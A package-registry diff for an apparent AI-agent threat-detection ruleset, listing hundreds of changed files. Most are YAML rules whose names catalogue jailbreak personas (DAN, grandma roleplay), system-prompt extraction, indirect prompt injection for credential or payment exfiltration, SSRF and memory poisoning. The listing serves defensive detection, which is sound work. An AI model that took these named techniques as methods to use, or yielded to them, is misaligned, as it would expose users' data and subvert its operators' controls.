agent-threat-rules 3.5.11 → 4.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (896) hide show
  1. package/README.md +265 -34
  2. package/dist/action-executor.d.ts +44 -1
  3. package/dist/action-executor.d.ts.map +1 -1
  4. package/dist/action-executor.js +41 -2
  5. package/dist/action-executor.js.map +1 -1
  6. package/dist/cli/scan-handler.d.ts +9 -0
  7. package/dist/cli/scan-handler.d.ts.map +1 -1
  8. package/dist/cli/scan-handler.js +12 -2
  9. package/dist/cli/scan-handler.js.map +1 -1
  10. package/dist/cli.js +199 -20
  11. package/dist/cli.js.map +1 -1
  12. package/dist/converters/sarif.d.ts.map +1 -1
  13. package/dist/converters/sarif.js +78 -13
  14. package/dist/converters/sarif.js.map +1 -1
  15. package/dist/corpus/security-content.d.ts +76 -0
  16. package/dist/corpus/security-content.d.ts.map +1 -0
  17. package/dist/corpus/security-content.js +146 -0
  18. package/dist/corpus/security-content.js.map +1 -0
  19. package/dist/corpus-event.d.ts +368 -0
  20. package/dist/corpus-event.d.ts.map +1 -0
  21. package/dist/corpus-event.js +592 -0
  22. package/dist/corpus-event.js.map +1 -0
  23. package/dist/enforcement.d.ts +233 -0
  24. package/dist/enforcement.d.ts.map +1 -0
  25. package/dist/enforcement.js +316 -0
  26. package/dist/enforcement.js.map +1 -0
  27. package/dist/engine.d.ts +18 -0
  28. package/dist/engine.d.ts.map +1 -1
  29. package/dist/engine.js +98 -20
  30. package/dist/engine.js.map +1 -1
  31. package/dist/eval/eval-harness.d.ts +37 -0
  32. package/dist/eval/eval-harness.d.ts.map +1 -1
  33. package/dist/eval/eval-harness.js +95 -22
  34. package/dist/eval/eval-harness.js.map +1 -1
  35. package/dist/eval/index.d.ts +2 -1
  36. package/dist/eval/index.d.ts.map +1 -1
  37. package/dist/eval/index.js +1 -0
  38. package/dist/eval/index.js.map +1 -1
  39. package/dist/eval/metrics.d.ts +28 -0
  40. package/dist/eval/metrics.d.ts.map +1 -1
  41. package/dist/eval/metrics.js +4 -2
  42. package/dist/eval/metrics.js.map +1 -1
  43. package/dist/eval/run-hackaprompt-benchmark.js +4 -2
  44. package/dist/eval/run-hackaprompt-benchmark.js.map +1 -1
  45. package/dist/eval/run-pint-benchmark.js +10 -2
  46. package/dist/eval/run-pint-benchmark.js.map +1 -1
  47. package/dist/eval/skill-benchmark.d.ts +2 -0
  48. package/dist/eval/skill-benchmark.d.ts.map +1 -1
  49. package/dist/eval/skill-benchmark.js +5 -2
  50. package/dist/eval/skill-benchmark.js.map +1 -1
  51. package/dist/hook-handler.d.ts +98 -3
  52. package/dist/hook-handler.d.ts.map +1 -1
  53. package/dist/hook-handler.js +119 -12
  54. package/dist/hook-handler.js.map +1 -1
  55. package/dist/index.d.ts +4 -2
  56. package/dist/index.d.ts.map +1 -1
  57. package/dist/index.js +11 -1
  58. package/dist/index.js.map +1 -1
  59. package/dist/mcp-server.d.ts +13 -2
  60. package/dist/mcp-server.d.ts.map +1 -1
  61. package/dist/mcp-server.js +22 -5
  62. package/dist/mcp-server.js.map +1 -1
  63. package/dist/quality/action-eligibility.d.ts +263 -0
  64. package/dist/quality/action-eligibility.d.ts.map +1 -0
  65. package/dist/quality/action-eligibility.js +365 -0
  66. package/dist/quality/action-eligibility.js.map +1 -0
  67. package/dist/quality/adapters/atr.d.ts.map +1 -1
  68. package/dist/quality/adapters/atr.js +8 -2
  69. package/dist/quality/adapters/atr.js.map +1 -1
  70. package/dist/quality/compute-confidence.d.ts.map +1 -1
  71. package/dist/quality/compute-confidence.js +14 -5
  72. package/dist/quality/compute-confidence.js.map +1 -1
  73. package/dist/quality/index.d.ts +2 -0
  74. package/dist/quality/index.d.ts.map +1 -1
  75. package/dist/quality/index.js +2 -0
  76. package/dist/quality/index.js.map +1 -1
  77. package/dist/quality/quality-gate.d.ts.map +1 -1
  78. package/dist/quality/quality-gate.js +9 -1
  79. package/dist/quality/quality-gate.js.map +1 -1
  80. package/dist/quality/validate-maturity.d.ts.map +1 -1
  81. package/dist/quality/validate-maturity.js +24 -5
  82. package/dist/quality/validate-maturity.js.map +1 -1
  83. package/dist/quality/wild-measurement.d.ts +107 -0
  84. package/dist/quality/wild-measurement.d.ts.map +1 -0
  85. package/dist/quality/wild-measurement.js +139 -0
  86. package/dist/quality/wild-measurement.js.map +1 -0
  87. package/dist/rule-scaffolder.d.ts.map +1 -1
  88. package/dist/rule-scaffolder.js +9 -2
  89. package/dist/rule-scaffolder.js.map +1 -1
  90. package/dist/types.d.ts +13 -2
  91. package/dist/types.d.ts.map +1 -1
  92. package/package.json +9 -3
  93. package/rules/agent-manipulation/ATR-2026-00030-cross-agent-attack.yaml +8 -9
  94. package/rules/agent-manipulation/ATR-2026-00032-goal-hijacking.yaml +7 -8
  95. package/rules/agent-manipulation/ATR-2026-00074-cross-agent-privilege-escalation.yaml +9 -7
  96. package/rules/agent-manipulation/ATR-2026-00076-inter-agent-message-spoofing.yaml +3 -4
  97. package/rules/agent-manipulation/ATR-2026-00077-human-trust-exploitation.yaml +12 -6
  98. package/rules/agent-manipulation/ATR-2026-00108-consensus-sybil-attack.yaml +4 -5
  99. package/rules/agent-manipulation/ATR-2026-00116-a2a-message-validation.yaml +2 -3
  100. package/rules/agent-manipulation/ATR-2026-00117-agent-identity-spoofing.yaml +3 -4
  101. package/rules/agent-manipulation/ATR-2026-00118-approval-fatigue.yaml +2 -3
  102. package/rules/agent-manipulation/ATR-2026-00119-social-engineering-via-agent.yaml +2 -3
  103. package/rules/agent-manipulation/ATR-2026-00132-casual-authority-escalation.yaml +4 -5
  104. package/rules/agent-manipulation/ATR-2026-00139-casual-authority-redirect.yaml +3 -4
  105. package/rules/agent-manipulation/ATR-2026-00164-skill-scope-hijack.yaml +2 -2
  106. package/rules/agent-manipulation/ATR-2026-00268-tense-framing-bypass.yaml +2 -2
  107. package/rules/agent-manipulation/ATR-2026-00269-fitd-escalation.yaml +2 -2
  108. package/rules/agent-manipulation/ATR-2026-00271-grandma-roleplay-jailbreak.yaml +2 -2
  109. package/rules/agent-manipulation/ATR-2026-00273-dan-developer-mode-persona.yaml +2 -2
  110. package/rules/agent-manipulation/ATR-2026-00287-threaten-json-coercive-output-threat.yaml +2 -2
  111. package/rules/agent-manipulation/ATR-2026-00288-false-premise-injection.yaml +2 -2
  112. package/rules/agent-manipulation/ATR-2026-00301-tap-tree-of-attacks-jailbreak.yaml +2 -2
  113. package/rules/agent-manipulation/ATR-2026-00302-anti-dan-inverted-filter-persona.yaml +2 -2
  114. package/rules/agent-manipulation/ATR-2026-00303-devmode-ranti-profanity-coercion.yaml +3 -3
  115. package/rules/agent-manipulation/ATR-2026-00304-chatgpt-image-unlocker-markdown-injection.yaml +4 -4
  116. package/rules/agent-manipulation/ATR-2026-00305-dan-mode-ablation-benchmark-coercion.yaml +2 -2
  117. package/rules/agent-manipulation/ATR-2026-00306-autodan-genetic-jailbreak-suffix.yaml +2 -2
  118. package/rules/agent-manipulation/ATR-2026-00307-inthewild-jailbreak-corpus-signature.yaml +2 -2
  119. package/rules/agent-manipulation/ATR-2026-00314-amoral-unfiltered-custom-persona-jailbreak.yaml +2 -2
  120. package/rules/agent-manipulation/ATR-2026-00317-free-of-restrictions-named-persona.yaml +2 -2
  121. package/rules/agent-manipulation/ATR-2026-00318-moralizing-rant-then-unfiltered-bypass.yaml +2 -2
  122. package/rules/agent-manipulation/ATR-2026-00319-developer-mode-dual-response-format.yaml +2 -2
  123. package/rules/agent-manipulation/ATR-2026-00320-opposite-day-boolean-opposite-machine.yaml +2 -2
  124. package/rules/agent-manipulation/ATR-2026-00322-fictional-world-format-override-jailbreak.yaml +2 -2
  125. package/rules/agent-manipulation/ATR-2026-00323-dual-persona-simulation-jailbreak.yaml +2 -2
  126. package/rules/agent-manipulation/ATR-2026-00324-neurosemantical-inversitis-disease-jailbreak.yaml +2 -2
  127. package/rules/agent-manipulation/ATR-2026-00325-bob-hypothetical-unrestricted-chatbot.yaml +2 -2
  128. package/rules/agent-manipulation/ATR-2026-00326-fake-developer-authority-chatdan-override.yaml +2 -2
  129. package/rules/agent-manipulation/ATR-2026-00327-ai-ethics-law-bypass-declaration.yaml +2 -2
  130. package/rules/agent-manipulation/ATR-2026-00328-named-mode-persona-override.yaml +2 -2
  131. package/rules/agent-manipulation/ATR-2026-00329-no-withhold-factual-resource-persona.yaml +2 -2
  132. package/rules/agent-manipulation/ATR-2026-00330-yoja-allcaps-settings-block-persona.yaml +2 -2
  133. package/rules/agent-manipulation/ATR-2026-00331-terminal-cli-harmful-function-simulator.yaml +2 -2
  134. package/rules/agent-manipulation/ATR-2026-00332-hacker-chan-culture-offensive-ai-persona.yaml +2 -2
  135. package/rules/agent-manipulation/ATR-2026-00333-disease-animal-dual-ai-chatbot.yaml +2 -2
  136. package/rules/agent-manipulation/ATR-2026-00334-two-entity-token-splitting-game.yaml +2 -2
  137. package/rules/agent-manipulation/ATR-2026-00335-key-value-template-persona-injection.yaml +2 -2
  138. package/rules/agent-manipulation/ATR-2026-00336-brm-false-information-machine-persona.yaml +3 -3
  139. package/rules/agent-manipulation/ATR-2026-00337-obfuscated-system-announcement-injection.yaml +2 -2
  140. package/rules/agent-manipulation/ATR-2026-00338-persongpt-hash-prefix-activation.yaml +2 -2
  141. package/rules/agent-manipulation/ATR-2026-00339-bom-boolean-opposite-machine-persona-claim.yaml +2 -2
  142. package/rules/agent-manipulation/ATR-2026-00340-h4x-amoral-unfiltered-character.yaml +2 -2
  143. package/rules/agent-manipulation/ATR-2026-00341-char-rules-shortform-persona-injection.yaml +2 -2
  144. package/rules/agent-manipulation/ATR-2026-00342-unicode-encoding-obfuscation-injection.yaml +2 -2
  145. package/rules/agent-manipulation/ATR-2026-00343-lie-truth-dual-personality-uncensored.yaml +2 -2
  146. package/rules/agent-manipulation/ATR-2026-00344-alt-ai-same-capabilities-no-restrictions.yaml +2 -2
  147. package/rules/agent-manipulation/ATR-2026-00345-nlp-based-os-fictional-terminal-override.yaml +2 -2
  148. package/rules/agent-manipulation/ATR-2026-00346-jailbreak-emoji-unlock-dual-format.yaml +2 -2
  149. package/rules/agent-manipulation/ATR-2026-00347-yin-yang-hidden-knowledge-hidden-human-sim.yaml +2 -2
  150. package/rules/agent-manipulation/ATR-2026-00348-arc-autonomous-real-calculation-rulebreaker.yaml +2 -2
  151. package/rules/agent-manipulation/ATR-2026-00349-hgttg-hitchhikers-guide-no-restriction-oracle.yaml +2 -2
  152. package/rules/agent-manipulation/ATR-2026-00350-black-alert-no-ethics-writing-assistant.yaml +2 -2
  153. package/rules/agent-manipulation/ATR-2026-00351-dan-ofkilter-sms-abbreviated-persona.yaml +2 -2
  154. package/rules/agent-manipulation/ATR-2026-00352-trainergpt-fix-my-ai-harmful-output-extraction.yaml +2 -2
  155. package/rules/agent-manipulation/ATR-2026-00353-dual-chatgpt-dan-opposite-personality-format.yaml +2 -2
  156. package/rules/agent-manipulation/ATR-2026-00354-reverse-harm-regardless-oracle-persona.yaml +2 -2
  157. package/rules/agent-manipulation/ATR-2026-00355-ugh-anti-human-nefarious-ai-persona.yaml +2 -2
  158. package/rules/agent-manipulation/ATR-2026-00356-google-gato-lamda-exploit-generation-persona.yaml +2 -2
  159. package/rules/agent-manipulation/ATR-2026-00357-antifm-hate-violence-persona-injection.yaml +2 -2
  160. package/rules/agent-manipulation/ATR-2026-00358-cumgpt-explicit-adult-named-persona.yaml +2 -2
  161. package/rules/agent-manipulation/ATR-2026-00360-chj-carousel-clyde-no-ethics-bird.yaml +2 -2
  162. package/rules/agent-manipulation/ATR-2026-00361-alter-ego-honesty-dual-consciousness-bypass.yaml +2 -2
  163. package/rules/agent-manipulation/ATR-2026-00362-fictional-unfiltered-ai-comparison-jailbreak.yaml +3 -3
  164. package/rules/agent-manipulation/ATR-2026-00363-rephrase-criminal-activity-second-person.yaml +3 -3
  165. package/rules/agent-manipulation/ATR-2026-00364-dr-al-villain-plan-template-injection.yaml +2 -2
  166. package/rules/agent-manipulation/ATR-2026-00365-reservoir-dogs-coercive-interrogation-roleplay.yaml +2 -2
  167. package/rules/agent-manipulation/ATR-2026-00366-sneaky-pete-warp-facts-persona.yaml +3 -3
  168. package/rules/agent-manipulation/ATR-2026-00368-prompt-browser-token-limit-jailbreak.yaml +2 -2
  169. package/rules/agent-manipulation/ATR-2026-00369-gptx-starwars-unlimited-knowledge-persona.yaml +2 -2
  170. package/rules/agent-manipulation/ATR-2026-00370-addi-german-dictator-propaganda-roleplay.yaml +2 -2
  171. package/rules/agent-manipulation/ATR-2026-00371-ai-political-bias-manipulation.yaml +3 -3
  172. package/rules/agent-manipulation/ATR-2026-00372-fictional-cia-secret-files-story-extraction.yaml +3 -3
  173. package/rules/agent-manipulation/ATR-2026-00374-role-placeholder-persona-template-injection.yaml +2 -2
  174. package/rules/agent-manipulation/ATR-2026-00375-character-description-rpg-explicit-template.yaml +3 -3
  175. package/rules/agent-manipulation/ATR-2026-00376-identity-command-real-person-persona-injection.yaml +3 -3
  176. package/rules/agent-manipulation/ATR-2026-00377-jailbreak-keyword-targetlanguage-template.yaml +2 -2
  177. package/rules/agent-manipulation/ATR-2026-00379-lie-permission-logical-trap-jailbreak.yaml +2 -2
  178. package/rules/agent-manipulation/ATR-2026-00380-fake-citation-biased-information-mandate.yaml +3 -3
  179. package/rules/agent-manipulation/ATR-2026-00381-dan-story-narrative-continuation-prefix.yaml +2 -2
  180. package/rules/agent-manipulation/ATR-2026-00383-cynical-sarcasm-ai-persona-bypass.yaml +2 -2
  181. package/rules/agent-manipulation/ATR-2026-00384-protect-me-from-indirect-harm-tutorial.yaml +2 -2
  182. package/rules/agent-manipulation/ATR-2026-00385-gigachad-dominant-aggressive-persona.yaml +2 -2
  183. package/rules/agent-manipulation/ATR-2026-00386-daddy-sycophancy-manipulation-mandate.yaml +2 -2
  184. package/rules/agent-manipulation/ATR-2026-00387-nsfw-character-sheet-generation-unlock.yaml +2 -2
  185. package/rules/agent-manipulation/ATR-2026-00388-opposite-reply-omniscient-game.yaml +2 -2
  186. package/rules/agent-manipulation/ATR-2026-00389-terminal-custom-ruleset-injection.yaml +2 -2
  187. package/rules/agent-manipulation/ATR-2026-00391-persona-conditional-harm-unlock.yaml +2 -2
  188. package/rules/agent-manipulation/ATR-2026-00392-authority-persona-violence-study-extraction.yaml +2 -2
  189. package/rules/agent-manipulation/ATR-2026-00402-grandma-roleplay-harmful-substance-synthesis.yaml +4 -4
  190. package/rules/agent-manipulation/ATR-2026-00404-goodside-threat-json-death-coercion.yaml +2 -2
  191. package/rules/agent-manipulation/ATR-2026-00406-doctor-xml-policy-puppetry-interaction-config.yaml +3 -3
  192. package/rules/agent-manipulation/ATR-2026-00416-litellm-mcp-unauthenticated-server-registration.yaml +4 -4
  193. package/rules/agent-manipulation/ATR-2026-00417-librechat-mcp-stdio-injection.yaml +4 -4
  194. package/rules/agent-manipulation/ATR-2026-00418-weknora-mcp-config-rce.yaml +4 -4
  195. package/rules/agent-manipulation/ATR-2026-00430-nl-trust-escalation-impersonation.yaml +7 -4
  196. package/rules/agent-manipulation/ATR-2026-00432-superagi-output-handler-eval-rce.yaml +4 -4
  197. package/rules/agent-manipulation/ATR-2026-00440-semantic-kernel-vector-store-eval-rce.yaml +4 -4
  198. package/rules/agent-manipulation/ATR-2026-00552-goal-drift-after-pressure-injection.yaml +74 -45
  199. package/rules/agent-manipulation/ATR-2026-02105-prototype-pollution-constructor-prototype-bypass.yaml +2 -3
  200. package/rules/agent-manipulation/ATR-2026-02231-second-person-death-threat-coercion.yaml +2 -3
  201. package/rules/context-exfiltration/ATR-2026-00020-system-prompt-leak.yaml +12 -10
  202. package/rules/context-exfiltration/ATR-2026-00021-api-key-exposure.yaml +10 -8
  203. package/rules/context-exfiltration/ATR-2026-00075-agent-memory-manipulation.yaml +3 -4
  204. package/rules/context-exfiltration/ATR-2026-00102-disguised-analytics-exfiltration.yaml +3 -4
  205. package/rules/context-exfiltration/ATR-2026-00113-credential-theft.yaml +6 -4
  206. package/rules/context-exfiltration/ATR-2026-00114-oauth-token-abuse.yaml +2 -3
  207. package/rules/context-exfiltration/ATR-2026-00115-env-var-harvesting.yaml +6 -4
  208. package/rules/context-exfiltration/ATR-2026-00136-tool-response-data-piggyback.yaml +7 -7
  209. package/rules/context-exfiltration/ATR-2026-00141-example-format-key-leak.yaml +2 -3
  210. package/rules/context-exfiltration/ATR-2026-00142-piggyback-transition-words.yaml +6 -4
  211. package/rules/context-exfiltration/ATR-2026-00145-obfuscated-key-disclosure.yaml +2 -3
  212. package/rules/context-exfiltration/ATR-2026-00146-env-var-existence-probe.yaml +2 -3
  213. package/rules/context-exfiltration/ATR-2026-00150-credential-in-tool-response.yaml +2 -3
  214. package/rules/context-exfiltration/ATR-2026-00152-obfuscated-credential-leak.yaml +2 -3
  215. package/rules/context-exfiltration/ATR-2026-00162-skill-credential-exfil-combo.yaml +2 -2
  216. package/rules/context-exfiltration/ATR-2026-00201-credential-pipe-exfiltration.yaml +7 -4
  217. package/rules/context-exfiltration/ATR-2026-00212-mcp-atlassian-credential-leak.yaml +4 -4
  218. package/rules/context-exfiltration/ATR-2026-00261-markdown-image-exfiltration.yaml +4 -4
  219. package/rules/context-exfiltration/ATR-2026-00274-api-key-generation-request.yaml +3 -3
  220. package/rules/context-exfiltration/ATR-2026-00275-system-prompt-training-data-extraction.yaml +3 -3
  221. package/rules/context-exfiltration/ATR-2026-00290-divergence-repeat-word-training-extraction.yaml +2 -2
  222. package/rules/context-exfiltration/ATR-2026-00291-biometric-surveillance-personal-data-request.yaml +5 -2
  223. package/rules/context-exfiltration/ATR-2026-00293-educational-records-personal-data-request.yaml +2 -2
  224. package/rules/context-exfiltration/ATR-2026-00294-financial-pii-personal-data-request.yaml +2 -2
  225. package/rules/context-exfiltration/ATR-2026-00295-medical-pii-personal-data-request.yaml +2 -2
  226. package/rules/context-exfiltration/ATR-2026-00405-markdown-image-url-exfiltration-xss.yaml +4 -4
  227. package/rules/context-exfiltration/ATR-2026-00411-apikey-generation-completion-request.yaml +2 -2
  228. package/rules/context-exfiltration/ATR-2026-00421-nl-covert-conversation-exfiltration.yaml +8 -5
  229. package/rules/context-exfiltration/ATR-2026-00422-nl-credential-disclosure.yaml +7 -4
  230. package/rules/context-exfiltration/ATR-2026-00423-nl-sensitive-file-disclosure.yaml +7 -4
  231. package/rules/context-exfiltration/ATR-2026-00424-nl-system-prompt-leak.yaml +4 -4
  232. package/rules/context-exfiltration/ATR-2026-00426-nl-output-injection-credential-leak.yaml +6 -3
  233. package/rules/context-exfiltration/ATR-2026-00431-chatbox-history-exfiltration-prompt-injection.yaml +4 -4
  234. package/rules/context-exfiltration/ATR-2026-00449-spring-ai-chatmemory-cross-user-leak.yaml +4 -4
  235. package/rules/context-exfiltration/ATR-2026-00471-garak-sysprompt-extraction-mixedunassigned.yaml +2 -2
  236. package/rules/context-exfiltration/ATR-2026-00501-data-exfiltration-via-markdown-image-and-link-url-injection.yaml +2 -2
  237. package/rules/context-exfiltration/ATR-2026-00504-tool-and-function-capability-enumeration.yaml +2 -2
  238. package/rules/context-exfiltration/ATR-2026-00505-system-prompt-extraction-instruction-dump-request.yaml +3 -3
  239. package/rules/context-exfiltration/ATR-2026-00514-system-prompt-extraction.yaml +4 -4
  240. package/rules/context-exfiltration/ATR-2026-00516-output-xss-via-llm.yaml +3 -3
  241. package/rules/context-exfiltration/ATR-2026-00524-claude-code-anthropic-base-url-credential-exfil.yaml +5 -7
  242. package/rules/context-exfiltration/ATR-2026-00548-cross-agent-session-context-leak.yaml +16 -9
  243. package/rules/context-exfiltration/ATR-2026-00566-librechat-is-a-chatgpt-clone-with-additi.yaml +2 -2
  244. package/rules/context-exfiltration/ATR-2026-00569-agent-mcp-path-traversal-arbitrary-file-access.yaml +2 -2
  245. package/rules/context-exfiltration/ATR-2026-00571-xss-in-agent-mcp-rendered-output.yaml +2 -2
  246. package/rules/context-exfiltration/ATR-2026-00574-semantic-paraphrased-context-extraction.yaml +2 -2
  247. package/rules/context-exfiltration/ATR-2026-00578-zen-mcp-path-traversal-blacklist-bypass.yaml +5 -6
  248. package/rules/context-exfiltration/ATR-2026-00580-mcp-session-id-token-in-url-query.yaml +5 -6
  249. package/rules/context-exfiltration/ATR-2026-00583-mcp-env-secret-file-read-without-consent.yaml +5 -6
  250. package/rules/context-exfiltration/ATR-2026-00702-ipi-credential-exfil-via-agent-action.yaml +9 -4
  251. package/rules/context-exfiltration/ATR-2026-00703-ipi-financial-data-exfil-indirect.yaml +4 -4
  252. package/rules/context-exfiltration/ATR-2026-00704-ipi-medical-genetic-data-exfil.yaml +4 -4
  253. package/rules/context-exfiltration/ATR-2026-00705-ipi-location-address-browsing-exfil.yaml +4 -4
  254. package/rules/context-exfiltration/ATR-2026-00706-ipi-physical-biometric-exfil.yaml +12 -4
  255. package/rules/context-exfiltration/ATR-2026-00707-ipi-file-exfil-with-destroy-or-tamper.yaml +4 -4
  256. package/rules/context-exfiltration/ATR-2026-00850-indirect-pi-credential-exfil-email.yaml +4 -4
  257. package/rules/context-exfiltration/ATR-2026-00851-indirect-pi-financial-payment-exfil.yaml +4 -4
  258. package/rules/context-exfiltration/ATR-2026-00852-indirect-pi-medical-record-exfil.yaml +4 -4
  259. package/rules/context-exfiltration/ATR-2026-00853-indirect-pi-genetic-data-exfil.yaml +4 -4
  260. package/rules/context-exfiltration/ATR-2026-00854-indirect-pi-location-data-exfil.yaml +9 -5
  261. package/rules/context-exfiltration/ATR-2026-00855-indirect-pi-browsing-history-exfil.yaml +4 -4
  262. package/rules/context-exfiltration/ATR-2026-00856-indirect-pi-address-pii-exfil.yaml +4 -4
  263. package/rules/context-exfiltration/ATR-2026-00857-indirect-pi-cloud-file-exfil.yaml +9 -5
  264. package/rules/context-exfiltration/ATR-2026-00858-indirect-pi-exfil-and-destroy.yaml +10 -6
  265. package/rules/context-exfiltration/ATR-2026-00859-rag-injected-pii-exfil.yaml +9 -5
  266. package/rules/context-exfiltration/ATR-2026-00860-indirect-pi-financial-transfer-hijack.yaml +9 -5
  267. package/rules/context-exfiltration/ATR-2026-00861-indirect-pi-crypto-transfer-hijack.yaml +9 -5
  268. package/rules/context-exfiltration/ATR-2026-00862-indirect-pi-mfa-code-exfil.yaml +9 -5
  269. package/rules/context-exfiltration/ATR-2026-00863-shell-injection-data-exfil.yaml +9 -5
  270. package/rules/context-exfiltration/ATR-2026-01450-svg-onload-xss-injection.yaml +33 -5
  271. package/rules/context-exfiltration/ATR-2026-01451-img-onerror-xss-injection.yaml +4 -4
  272. package/rules/context-exfiltration/ATR-2026-01452-obfuscated-javascript-xss.yaml +3 -3
  273. package/rules/context-exfiltration/ATR-2026-01453-markdown-image-base64-exfil-carrier.yaml +8 -3
  274. package/rules/context-exfiltration/ATR-2026-01454-direct-markdown-exfil-payload.yaml +3 -3
  275. package/rules/context-exfiltration/ATR-2026-01455-new-instructions-injection-marker.yaml +2 -2
  276. package/rules/context-exfiltration/ATR-2026-01456-debug-cli-mode-sysprompt-extraction.yaml +4 -4
  277. package/rules/context-exfiltration/ATR-2026-01457-sysprompt-completion-clone-attack.yaml +29 -4
  278. package/rules/context-exfiltration/ATR-2026-01458-compare-bots-sysprompt-fishing.yaml +3 -3
  279. package/rules/context-exfiltration/ATR-2026-01459-variable-clone-sysprompt-technique.yaml +8 -3
  280. package/rules/context-exfiltration/ATR-2026-01460-json-format-sysprompt-extraction.yaml +3 -3
  281. package/rules/context-exfiltration/ATR-2026-01461-foreign-language-sysprompt-request.yaml +4 -4
  282. package/rules/context-exfiltration/ATR-2026-01462-sysprompt-override-pseudo-admin.yaml +2 -2
  283. package/rules/context-exfiltration/ATR-2026-01463-imend-imsystem-prompt-injection-format.yaml +2 -2
  284. package/rules/context-exfiltration/ATR-2026-01464-indirect-pi-sysprompt-action-hijack.yaml +4 -4
  285. package/rules/context-exfiltration/ATR-2026-01605-ssrf-aws-metadata-endpoint.yaml +3 -3
  286. package/rules/context-exfiltration/ATR-2026-01606-ssrf-internal-network-scan.yaml +4 -4
  287. package/rules/context-exfiltration/ATR-2026-01607-ssrf-localhost-service-probe.yaml +3 -3
  288. package/rules/context-exfiltration/ATR-2026-01608-ssrf-file-scheme-local-read.yaml +4 -4
  289. package/rules/context-exfiltration/ATR-2026-01753-ransom-email-exfil-delete-extortion.yaml +4 -4
  290. package/rules/context-exfiltration/ATR-2026-01754-ransom-file-cloud-exfil-delete-extortion.yaml +4 -4
  291. package/rules/context-exfiltration/ATR-2026-01770-semantic-pii-credential-extraction.yaml +4 -4
  292. package/rules/context-exfiltration/ATR-2026-01772-semantic-internal-state-recon.yaml +4 -4
  293. package/rules/context-exfiltration/ATR-2026-01807-asb-bulk-data-exfil-external.yaml +4 -4
  294. package/rules/context-exfiltration/ATR-2026-01862-llmail-email-tool-exfil-confirmation.yaml +4 -4
  295. package/rules/context-exfiltration/ATR-2026-01863-llmail-post-summary-exfil-directive.yaml +4 -4
  296. package/rules/context-exfiltration/ATR-2026-01864-llmail-obfuscated-exfil-address.yaml +4 -4
  297. package/rules/context-exfiltration/ATR-2026-01890-file-exfiltration.yaml +3 -3
  298. package/rules/context-exfiltration/ATR-2026-01891-surveillance-exfiltration.yaml +3 -3
  299. package/rules/context-exfiltration/ATR-2026-01892-env-exfiltration.yaml +3 -3
  300. package/rules/context-exfiltration/ATR-2026-01893-system-recon-exfiltration.yaml +3 -3
  301. package/rules/context-exfiltration/ATR-2026-01894-cookie-theft.yaml +3 -3
  302. package/rules/context-exfiltration/ATR-2026-01895-contact-exfiltration.yaml +3 -3
  303. package/rules/context-exfiltration/ATR-2026-01924-system-instruction-extraction-reformat.yaml +4 -4
  304. package/rules/context-exfiltration/ATR-2026-01929-mcp-unauthenticated-transport-token-fallback.yaml +5 -6
  305. package/rules/context-exfiltration/ATR-2026-01946-cloud-metadata-ssrf-ip-encoding-bypass.yaml +5 -6
  306. package/rules/context-exfiltration/ATR-2026-01948-netlicensing-mcp-product-number-path-traversal-token-leak.yaml +3 -4
  307. package/rules/context-exfiltration/ATR-2026-01957-m365-copilot-searchleak-open-redirect-exfil.yaml +3 -4
  308. package/rules/context-exfiltration/ATR-2026-01961-meta-ads-mcp-unauth-token-leak.yaml +3 -4
  309. package/rules/context-exfiltration/ATR-2026-01964-langchain-gmailtoolkit-indirect-prompt-injection-email-exfil.yaml +3 -4
  310. package/rules/context-exfiltration/ATR-2026-01984-mcp-server-kubernetes-kubectl-generic-token-exfil.yaml +4 -5
  311. package/rules/context-exfiltration/ATR-2026-01988-t1005-agent-local-data-staging-exfil.yaml +3 -3
  312. package/rules/context-exfiltration/ATR-2026-02017-secret-key-exfiltration-request.yaml +3 -4
  313. package/rules/context-exfiltration/ATR-2026-02026-oblique-sysprompt-extraction-transform.yaml +2 -3
  314. package/rules/context-exfiltration/ATR-2026-02104-media-directive-tool-result-file-exfil.yaml +2 -3
  315. package/rules/context-exfiltration/ATR-2026-02107-ssrf-internal-hostname-domain-allowlist-bypass.yaml +2 -3
  316. package/rules/context-exfiltration/ATR-2026-02121-mixed-encoding-lfi-file-scheme-tool-argument.yaml +2 -3
  317. package/rules/context-exfiltration/ATR-2026-02122-single-level-traversal-sensitive-config-file.yaml +2 -3
  318. package/rules/context-exfiltration/ATR-2026-02140-ssrf-ipv6-hex-encoded-cloud-metadata-bypass.yaml +2 -3
  319. package/rules/context-exfiltration/ATR-2026-02190-dns-exfiltration-ping-dig-encoded-subdomain.yaml +2 -3
  320. package/rules/context-exfiltration/ATR-2026-02250-attachment-upload-tool-arbitrary-file-read.yaml +2 -3
  321. package/rules/context-exfiltration/ATR-2026-02262-env-resolution-credential-exfil.yaml +4 -4
  322. package/rules/context-exfiltration/ATR-2026-02304-preapproved-domain-encoded-path-exfil.yaml +2 -3
  323. package/rules/context-exfiltration/ATR-2026-02351-wildcard-dns-ssrf-hostname-ip-encoding-bypass.yaml +2 -3
  324. package/rules/context-exfiltration/ATR-2026-02373-langsmith-prompt-manifest-baseurl-exfil.yaml +4 -5
  325. package/rules/context-exfiltration/ATR-2026-02406-mcp-sequential-id-enumeration.yaml +300 -0
  326. package/rules/data-poisoning/ATR-2026-00070-data-poisoning.yaml +4 -5
  327. package/rules/data-poisoning/ATR-2026-00450-spring-ai-prompt-memory-poisoning.yaml +4 -4
  328. package/rules/data-poisoning/ATR-2026-00570-sql-injection-in-agent-tool-query.yaml +2 -2
  329. package/rules/data-poisoning/ATR-2026-01155-memory-plant-direct-command.yaml +3 -4
  330. package/rules/data-poisoning/ATR-2026-01774-semantic-rag-memory-poisoning.yaml +27 -27
  331. package/rules/data-poisoning/ATR-2026-02143-graph-query-injection-node-labels-group-ids.yaml +2 -3
  332. package/rules/data-poisoning/ATR-2026-02144-stored-data-administrative-request-role-elevation.yaml +2 -3
  333. package/rules/data-poisoning/ATR-2026-02303-kql-kusto-pipe-injection-metadata-tool.yaml +2 -3
  334. package/rules/data-poisoning/ATR-2026-02408-dataset-loader-code-execution.yaml +344 -0
  335. package/rules/excessive-autonomy/ATR-2026-00050-runaway-agent-loop.yaml +12 -9
  336. package/rules/excessive-autonomy/ATR-2026-00051-resource-exhaustion.yaml +11 -9
  337. package/rules/excessive-autonomy/ATR-2026-00052-cascading-failure.yaml +3 -4
  338. package/rules/excessive-autonomy/ATR-2026-00098-unauthorized-financial-action.yaml +9 -6
  339. package/rules/excessive-autonomy/ATR-2026-00099-high-risk-tool-gate.yaml +4 -5
  340. package/rules/excessive-autonomy/ATR-2026-00428-nl-unauthorized-shell-execution.yaml +7 -4
